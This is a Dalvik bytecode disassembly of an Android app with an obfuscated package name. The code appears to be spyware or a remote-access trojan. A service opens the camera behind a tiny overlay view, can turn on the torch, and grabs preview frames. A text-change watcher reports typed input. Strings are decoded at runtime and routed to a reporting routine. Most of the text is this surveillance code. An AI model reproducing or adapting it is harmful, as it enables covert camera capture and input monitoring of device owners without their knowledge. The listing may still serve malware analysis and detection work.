    00085250cmf0.c3b5bm90zq.patch.C5::a():
    00085260invoke-static {}, Landroid/hardware/Camera;->open()Landroid/hardware/Camera;
    00085266move-result-object v0
    00085268if-eqz v0, :cond_9
    0008526cinvoke-virtual {v0}, Landroid/hardware/Camera;->release()V
    00085272const/4 v0, 0x0
    00085274return v0
    00085276move-exception v0
    00085278goto :goto_43
    0008527amove-exception v0
    0008527cnew-instance v1, Ljava/lang/StringBuilder;
    00085280invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
    00085286sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008528aconst-wide/16 v4, 0x45
    0008528einvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085294move-result-object v2
    00085296invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008529csget-object v2, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000852a0invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000852a6invoke-virtual {v0}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
    000852acmove-result-object v0
    000852aeinvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000852b4sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000852b8invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000852besget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000852c2const-wide/16 v4, 0x53
    000852c6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000852ccmove-result-object v0
    000852ceinvoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000852d4invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000852damove-result-object v0
    000852dcinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000852e2const/4 v0, 0x1
    000852e4return v0
    000852e6throw v0
    00085250
    000852e8
    000852e8 struct try_item
    000852e8 start_addr uint32 0x85260
    000852ec insn_count int 4
    000852ee handler_off uint16 0x852f9
    000852f0
    000852f0 struct try_item
    000852f0 start_addr uint32 0x8527c
    000852f4 insn_count int 51
    000852f6 handler_off uint16 0x852fe
    000852f8
    000852f8 struct encoded_catch_handler_list
    000852f8 size int 2
    000852f9
    000852f9 struct encoded_catch_handler ← 0x852ee
    000852f9 size int64 -1
    000852fa handlers[0].type_idx int 0x59dc
    000852fc handlers[0].addr uint32 0x8527a
    000852fd catch_all_addr uint32 0x85276
    000852fe
    000852fe struct encoded_catch_handler ← 0x852f6
    000852fe size int64 0
    000852ff catch_all_addr uint32 0x85276
    00085300
    00085300cmf0.c3b5bm90zq.patch.C5::b():
    00085310const/4 v0, 0x0
    00085312iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->w:Z
    00085316sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008531aif-eqz v1, :cond_14
    0008531esget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085322const/4 v2, 0x0
    00085324invoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
    0008532asget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008532einvoke-virtual {v1}, Landroid/hardware/Camera;->release()V
    00085334sput-object v2, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085338invoke-direct {v3}, Lcmf0/c3b5bm90zq/patch/C5;->f()V
    0008533eiget-boolean v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    00085342if-nez v1, :cond_22
    00085346iget-object v1, v3, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
    0008534aiget-object v2, v3, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
    0008534einvoke-interface {v1, v2}, Landroid/view/WindowManager;->removeView(Landroid/view/View;)V
    00085354iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00085358iput-boolean v0, v3, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    0008535creturn-void
    00085300
    0008535e
    0008535e struct code_item_padding
    0008535e padding uint16 0x0000
    00085360
    00085360 struct try_item
    00085360 start_addr uint32 0x85316
    00085364 insn_count int 35
    00085366 handler_off uint16 0x85369
    00085368
    00085368 struct encoded_catch_handler_list
    00085368 size int 1
    00085369
    00085369 struct encoded_catch_handler ← 0x85366
    00085369 size int64 1
    0008536a handlers[0].type_idx int 0x5994
    0008536c handlers[0].addr uint32 0x8535c
    0008536d
    0008536d // align 0x10
    00085370
    00085370cmf0.c3b5bm90zq.patch.C5::onBind(android.content.Intent):
    00085380const/4 v1, 0x0
    00085382return-object v1
    00085370
    00085384
    00085384cmf0.c3b5bm90zq.patch.C5::onCreate():
    00085394invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    0008539amove-result-object v0
    0008539cinvoke-static {v0}, Lcmf0/c3b5bm90zq/patch/a;->f(Landroid/content/Context;)Landroid/app/Notification;
    000853a2move-result-object v0
    000853a4if-eqz v0, :cond_f
    000853a8const/16 v1, 0x7d4
    000853acinvoke-virtual {v7, v1, v0}, Lcmf0/c3b5bm90zq/patch/C5;->startForeground(ILandroid/app/Notification;)V
    000853b2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->q:I
    000853b6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->d:I
    000853basget v0, Lcmf0/c3b5bm90zq/patch/C11;->r:I
    000853besput v0, Lcmf0/c3b5bm90zq/patch/C5;->e:I
    000853c2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->s:I
    000853c6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->f:I
    000853casget v0, Lcmf0/c3b5bm90zq/patch/C11;->t:I
    000853cesput v0, Lcmf0/c3b5bm90zq/patch/C5;->g:I
    000853d2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->u:I
    000853d6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    000853dasget v0, Lcmf0/c3b5bm90zq/patch/C11;->v:I
    000853desput v0, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    000853e2sget v0, Lcmf0/c3b5bm90zq/patch/C11;->w:I
    000853e6sput v0, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    000853easget v0, Lcmf0/c3b5bm90zq/patch/C11;->x:I
    000853eesput v0, Lcmf0/c3b5bm90zq/patch/C5;->k:I
    000853f2const-wide/16 v0, 0x0
    000853f6iput-wide v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->r:J
    000853faiput-wide v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->s:J
    000853feinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->a()Z
    00085404move-result v0
    00085406iput-boolean v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    0008540aiget-boolean v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->c:Z
    0008540eif-nez v0, :cond_e6
    00085412const-string v0, "window"
    00085416invoke-virtual {v7, v0}, Lcmf0/c3b5bm90zq/patch/C5;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    0008541cmove-result-object v0
    0008541echeck-cast v0, Landroid/view/WindowManager;
    00085422iput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
    00085426new-instance v0, Landroid/view/SurfaceView;
    0008542ainvoke-direct {v0, v7}, Landroid/view/SurfaceView;-><init>(Landroid/content/Context;)V
    00085430iput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
    00085434new-instance v0, Landroid/view/WindowManager$LayoutParams;
    00085438const/4 v2, 0x1
    0008543aconst/4 v3, 0x1
    0008543cconst/16 v4, 0x7d6
    00085440const/high16 v5, 0x40000
    00085444const/4 v6, -0x3
    00085446move-object v1, v0
    00085448invoke-direct/range {v1 .. v6}, Landroid/view/WindowManager$LayoutParams;-><init>(IIIII)V
    0008544eiput-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
    00085452iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
    00085456const/16 v1, 0x33
    0008545aiput v1, v0, Landroid/view/WindowManager$LayoutParams;->gravity:I
    0008545eiget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->o:Landroid/view/WindowManager;
    00085462iget-object v1, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
    00085466iget-object v2, v7, Lcmf0/c3b5bm90zq/patch/C5;->q:Landroid/view/WindowManager$LayoutParams;
    0008546ainvoke-interface {v0, v1, v2}, Landroid/view/WindowManager;->addView(Landroid/view/View;Landroid/view/ViewGroup$LayoutParams;)V
    00085470iget-object v0, v7, Lcmf0/c3b5bm90zq/patch/C5;->p:Landroid/view/SurfaceView;
    00085474invoke-virtual {v0}, Landroid/view/SurfaceView;->getHolder()Landroid/view/SurfaceHolder;
    0008547amove-result-object v0
    0008547cinvoke-interface {v0, v7}, Landroid/view/SurfaceHolder;->addCallback(Landroid/view/SurfaceHolder$Callback;)V
    00085482sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00085486invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    0008548cmove-result-object v1
    0008548esget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00085492const-wide/16 v4, 0x57
    00085496invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008549cmove-result-object v2
    0008549einvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    000854a4move-result-object v0
    000854a6const-string v1, ""
    000854aaif-ne v0, v1, :cond_99
    000854aeinvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    000854b4move-result-object v0
    000854b6const v1, 0x7f0c0024
    000854bcinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000854c2move-result-object v0
    000854c4goto :goto_a9
    000854c6sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000854cainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000854d0move-result-object v1
    000854d2sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000854d6invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000854dcmove-result-object v2
    000854deinvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    000854e4move-result-object v0
    000854e6sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000854eainvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000854f0move-result-object v2
    000854f2sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000854f6const-wide/16 v5, 0x58
    000854fainvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085500move-result-object v3
    00085502invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00085508move-result-object v1
    0008550aconst-string v2, ""
    0008550eif-ne v1, v2, :cond_cb
    00085512invoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    00085518move-result-object v1
    0008551aconst v2, 0x7f0c0022
    00085520invoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00085526move-result-object v1
    00085528goto :goto_db
    0008552asget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008552einvoke-virtual {v7}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    00085534move-result-object v2
    00085536sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008553ainvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085540move-result-object v3
    00085542invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00085548move-result-object v1
    0008554ainvoke-static {v0}, Ljava/lang/Integer;->valueOf(Ljava/lang/String;)Ljava/lang/Integer;
    00085550move-result-object v0
    00085552invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
    00085558move-result v0
    0008555ainvoke-virtual {v7, v1, v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/lang/String;I)V
    00085560return-void
    00085384
    00085562
    00085562 struct code_item_padding
    00085562 padding uint16 0x0000
    00085564
    00085564 struct try_item
    00085564 start_addr uint32 0x85394
    00085568 insn_count int 15
    0008556a handler_off uint16 0x85575
    0008556c
    0008556c struct try_item
    0008556c start_addr uint32 0x853b2
    00085570 insn_count int 215
    00085572 handler_off uint16 0x85579
    00085574
    00085574 struct encoded_catch_handler_list
    00085574 size int 2
    00085575
    00085575 struct encoded_catch_handler ← 0x8556a
    00085575 size int64 1
    00085576 handlers[0].type_idx int 0x5994
    00085578 handlers[0].addr uint32 0x853b2
    00085579
    00085579 struct encoded_catch_handler ← 0x85572
    00085579 size int64 1
    0008557a handlers[0].type_idx int 0x5994
    0008557c handlers[0].addr uint32 0x85560
    0008557e
    0008557e // align 0x10
    00085580
    00085580cmf0.c3b5bm90zq.patch.C5::onDestroy():
    00085590invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C5;->b()V
    00085596return-void
    00085580
    00085598
    00085598cmf0.c3b5bm90zq.patch.C5::surfaceChanged(android.view.SurfaceHolder, int, int, int):
    000855a8sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000855acif-eqz v1, :cond_e
    000855b0sget-object v1, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000855b4new-instance v2, Lcmf0/c3b5bm90zq/patch/C5$3;
    000855b8invoke-direct {v2, v0}, Lcmf0/c3b5bm90zq/patch/C5$3;-><init>(Lcmf0/c3b5bm90zq/patch/C5;)V
    000855beinvoke-virtual {v1, v2}, Landroid/hardware/Camera;->setPreviewCallback(Landroid/hardware/Camera$PreviewCallback;)V
    000855c4return-void
    00085598
    000855c6
    000855c6 // align 0x8
    000855c8
    000855c8cmf0.c3b5bm90zq.patch.C5::surfaceCreated(android.view.SurfaceHolder):
    000855d8iget-boolean v0, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    000855dcif-nez v0, :cond_11e
    000855e0const-wide/16 v0, 0x53
    000855e4const/4 v2, 0x0
    000855e6const-wide/16 v3, 0x45
    000855eaconst/4 v5, 0x1
    000855ecsget v6, Lcmf0/c3b5bm90zq/patch/C5;->d:I
    000855f0invoke-static {v6}, Landroid/hardware/Camera;->open(I)Landroid/hardware/Camera;
    000855f6move-result-object v6
    000855f8sput-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000855fciput-boolean v5, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00085600goto :goto_47
    00085602move-exception v6
    00085604iput-boolean v2, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    00085608new-instance v7, Ljava/lang/StringBuilder;
    0008560cinvoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
    00085612sget-wide v8, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00085616invoke-static {v8, v9, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008561cmove-result-object v8
    0008561einvoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085624sget-object v8, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085628invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008562einvoke-virtual {v6}, Ljava/lang/RuntimeException;->getMessage()Ljava/lang/String;
    00085634move-result-object v6
    00085636invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008563csget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085640invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085646sget-wide v8, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008564ainvoke-static {v8, v9, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085650move-result-object v6
    00085652invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085658invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008565emove-result-object v6
    00085660invoke-static {v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00085666iget-boolean v6, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    0008566aif-ne v6, v5, :cond_11e
    0008566esget-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085672invoke-virtual {v6}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00085678move-result-object v6
    0008567asget-object v7, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008567einvoke-virtual {v7}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    00085684move-result-object v7
    00085686invoke-virtual {v7}, Landroid/hardware/Camera$Parameters;->getSupportedPreviewSizes()Ljava/util/List;
    0008568cmove-result-object v7
    0008568eif-eqz v7, :cond_64
    00085692sget v7, Lcmf0/c3b5bm90zq/patch/C5;->e:I
    00085696sget v8, Lcmf0/c3b5bm90zq/patch/C5;->f:I
    0008569ainvoke-virtual {v6, v7, v8}, Landroid/hardware/Camera$Parameters;->setPreviewSize(II)V
    000856a0sget v7, Lcmf0/c3b5bm90zq/patch/C5;->h:I
    000856a4if-ne v7, v5, :cond_85
    000856a8invoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
    000856aemove-result-object v7
    000856b0sget-object v8, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000856b4invoke-virtual {v8}, Landroid/hardware/Camera;->getParameters()Landroid/hardware/Camera$Parameters;
    000856bamove-result-object v8
    000856bcinvoke-virtual {v8}, Landroid/hardware/Camera$Parameters;->getSupportedFlashModes()Ljava/util/List;
    000856c2move-result-object v8
    000856c4if-eqz v8, :cond_85
    000856c8const-string v8, "torch"
    000856ccinvoke-interface {v7, v8}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    000856d2move-result v7
    000856d4if-eqz v7, :cond_85
    000856d8const-string v7, "torch"
    000856dcinvoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setFlashMode(Ljava/lang/String;)V
    000856e2sget v7, Lcmf0/c3b5bm90zq/patch/C5;->i:I
    000856e6if-ne v7, v5, :cond_9a
    000856eainvoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->getSupportedFocusModes()Ljava/util/List;
    000856f0move-result-object v7
    000856f2const-string v8, "continuous-video"
    000856f6invoke-interface {v7, v8}, Ljava/util/List;->contains(Ljava/lang/Object;)Z
    000856fcmove-result v7
    000856feif-eqz v7, :cond_9a
    00085702const-string v7, "continuous-video"
    00085706invoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setFocusMode(Ljava/lang/String;)V
    0008570cinvoke-virtual {v6}, Landroid/hardware/Camera$Parameters;->isZoomSupported()Z
    00085712move-result v7
    00085714if-eqz v7, :cond_a5
    00085718sget v7, Lcmf0/c3b5bm90zq/patch/C5;->j:I
    0008571cinvoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setZoom(I)V
    00085722sget v7, Lcmf0/c3b5bm90zq/patch/C5;->e:I
    00085726sget v8, Lcmf0/c3b5bm90zq/patch/C5;->f:I
    0008572ainvoke-virtual {v6, v7, v8}, Landroid/hardware/Camera$Parameters;->setPreviewSize(II)V
    00085730const/16 v7, 0x11
    00085734invoke-virtual {v6, v7}, Landroid/hardware/Camera$Parameters;->setPreviewFormat(I)V
    0008573asget-object v7, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    0008573einvoke-virtual {v7, v6}, Landroid/hardware/Camera;->setParameters(Landroid/hardware/Camera$Parameters;)V
    00085744sget-object v6, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    00085748invoke-virtual {v6, v11}, Landroid/hardware/Camera;->setPreviewDisplay(Landroid/view/SurfaceHolder;)V
    0008574enew-instance v11, Ljava/lang/StringBuilder;
    00085752invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V
    00085758sget-wide v6, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008575cinvoke-static {v6, v7, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00085762move-result-object v6
    00085764invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008576asget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    0008576einvoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085774const-string v6, ":)"
    00085778invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008577esget-object v6, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00085782invoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085788const-string v6, "SpecialMessage"
    0008578cinvoke-virtual {v11, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085792invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00085798move-result-object v11
    0008579ainvoke-static {v11}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    000857a0sget-object v11, Lcmf0/c3b5bm90zq/patch/C5;->a:Landroid/hardware/Camera;
    000857a4invoke-virtual {v11}, Landroid/hardware/Camera;->startPreview()V
    000857aaiput-boolean v5, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    000857aegoto :goto_11e
    000857b0move-exception v11
    000857b2iput-boolean v2, v10, Lcmf0/c3b5bm90zq/patch/C5;->b:Z
    000857b6new-instance v2, Ljava/lang/StringBuilder;
    000857bainvoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
    000857c0sget-wide v5, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000857c4invoke-static {v5, v6, v3, v4}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000857camove-result-object v3
    000857ccinvoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000857d2sget-object v3, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000857d6invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000857dcinvoke-virtual {v11}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
    000857e2move-result-object v11
    000857e4invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000857easget-object v11, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000857eeinvoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000857f4sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000857f8invoke-static {v3, v4, v0, v1}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000857femove-result-object v11
    00085800invoke-virtual {v2, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085806invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008580cmove-result-object v11
    0008580einvoke-static {v11}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00085814return-void
    000855c8
    00085816
    00085816 struct code_item_padding
    00085816 padding uint16 0x0000
    00085818
    00085818 struct try_item
    00085818 start_addr uint32 0x855ec
    0008581c insn_count int 10
    0008581e handler_off uint16 0x85839
    00085820
    00085820 struct try_item
    00085820 start_addr uint32 0x85666
    00085824 insn_count int 29
    00085826 handler_off uint16 0x8583d
    00085828
    00085828 struct try_item
    00085828 start_addr uint32 0x856a0
    0008582c insn_count int 65
    0008582e handler_off uint16 0x85842
    00085830
    00085830 struct try_item
    00085830 start_addr uint32 0x85722
    00085834 insn_count int 70
    00085836 handler_off uint16 0x8583d
    00085838
    00085838 struct encoded_catch_handler_list
    00085838 size int 3
    00085839
    00085839 struct encoded_catch_handler ← 0x8581e
    00085839 size int64 1
    0008583a handlers[0].type_idx int 0x59dc
    0008583c handlers[0].addr uint32 0x85602
    0008583d
    0008583d struct encoded_catch_handler ← 0x85826 0x85836
    0008583d size int64 1
    0008583e handlers[0].type_idx int 0x5994
    00085840 handlers[0].addr uint32 0x857b0
    00085842
    00085842 struct encoded_catch_handler ← 0x8582e
    00085842 size int64 1
    00085843 handlers[0].type_idx int 0x5994
    00085845 handlers[0].addr uint32 0x85722
    00085847
    00085847 // align 0x8
    00085848
    00085848cmf0.c3b5bm90zq.patch.C5::surfaceDestroyed(android.view.SurfaceHolder):
    00085858return-void
    00085848
    0008585a
    0008585a // align 0x4
    0008585c
    0008585ccmf0.c3b5bm90zq.patch.C6$1::<init>(cmf0.c3b5bm90zq.patch.C6):
    0008586ciput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C6$1;->a:Lcmf0/c3b5bm90zq/patch/C6;
    00085870invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    00085876return-void
    0008585c
    00085878
    00085878cmf0.c3b5bm90zq.patch.C6$1::afterTextChanged(android.text.Editable):
    00085888return-void
    00085878
    0008588a
    0008588a // align 0x4
    0008588c
    0008588ccmf0.c3b5bm90zq.patch.C6$1::beforeTextChanged(java.lang.CharSequence, int, int, int):
    0008589creturn-void
    0008588c
    0008589e
    0008589e // align 0x10
    000858a0
    000858a0cmf0.c3b5bm90zq.patch.C6$1::onTextChanged(java.lang.CharSequence, int, int, int):
    000858b0invoke-interface {v3}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
    000858b6move-result-object v3
    000858b8invoke-virtual {v3}, Ljava/lang/String;->length()I
    000858bemove-result v4
    000858c0const-wide/16 v5, 0x4f
    000858c4if-nez v4, :cond_36
    000858c8new-instance v3, Ljava/lang/StringBuilder;
    000858ccinvoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    000858d2sget-wide v0, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000858d6invoke-static {v0, v1, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000858dcmove-result-object v4
    000858deinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000858e4sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000858e8invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000858eeconst-string v4, "write"
    000858f2invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000858f8sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000858fcinvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00085902const-string v4, "null"
    00085906invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008590cinvoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    00085912move-result-object v3
    00085914invoke-static {v3}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    0008591agoto :goto_5b
    0008591cnew-instance v4, Ljava/lang/StringBuilder;
